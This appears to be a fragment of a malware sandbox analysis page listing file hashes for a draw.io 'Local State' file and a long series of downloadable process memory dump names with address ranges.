SSDEEP 12288:l4srOP1p84/cYJv244batX3mimGnHKqjt2ImDeoyjX6:l4Z12Mzv4WBnHVnL
TLSH
T1FD055E23EA948566D47AC035C9828607CDB17CA21B26B5DF0364670DBF6BBF4273DB24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Roaming\draw.io\Local State
Size 389B
SHA256 de90a8cbcbc7203cae525b431ae9b35ea32796343224984d1d112600025148b6
MD5 b3cb4ff1d520cef009cf3e97e637ea31
SHA1 2137bd981f13a7d78351c18dced803e9605e001b
SHA512 3a6e38495260b812bd82167acbc9b38431c2499eb2675fd055e9d689917e43a5409c5e83063ba2e4778c57c985546d8666a3e2ce82431bbd59694eb6bf51a1e6
TLSH
T177E068713CA7ADE53FA1E55A467A91866CF8479B031E3D012A8CA18610A84A14A1EE08
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2632-259-0x000002166F530000-0x000002166F603000-memory.dmp

Download

memory/2632-214-0x00007FFD809B0000-0x00007FFD809B1000-memory.dmp

Download

memory/3020-32-0x000001EC7D570000-0x000001EC7D58E000-memory.dmp

Download

memory/3020-38-0x000001EC7D570000-0x000001EC7D57A000-memory.dmp

Download

memory/3020-28-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-48-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-33-0x000001EC7D590000-0x000001EC7D642000-memory.dmp

Download

memory/3020-34-0x000001EC7D650000-0x000001EC7D65A000-memory.dmp

Download

memory/3020-35-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-36-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-37-0x000001EC7D650000-0x000001EC7D662000-memory.dmp

Download

memory/3020-27-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-46-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-200-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-47-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-51-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-50-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-49-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-22-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3020-21-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/3760-298-0x000001EE9BE40000-0x000001EE9BF13000-memory.dmp

Download

memory/3760-273-0x00007FFD809B0000-0x00007FFD809B1000-memory.dmp

Download

memory/4984-17-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-7-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-14-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-13-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-12-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-11-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-10-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-9-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-8-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-15-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-5-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-6-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-1-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-2-0x000002A0C85D0000-0x000002A0C85F2000-memory.dmp

Download

memory/4984-16-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/4984-0-0x00007FFD5EB3F000-0x00007FFD5EB40000-memory.dmp

Download

memory/4984-20-0x00007FFD5E9B0000-0x00007FFD5F354000-memory.dmp

Download

memory/5468-299-0x0000019FB4B30000-0x0000019FB4C03000-memory.dmp

Download

memory/5788-290-0x00007FFD81860000-0x00007FFD81AC3000-memory.dmp

Download

memory/5788-289-0x0000000073720000-0x0000000073772000-memory.dmp

Download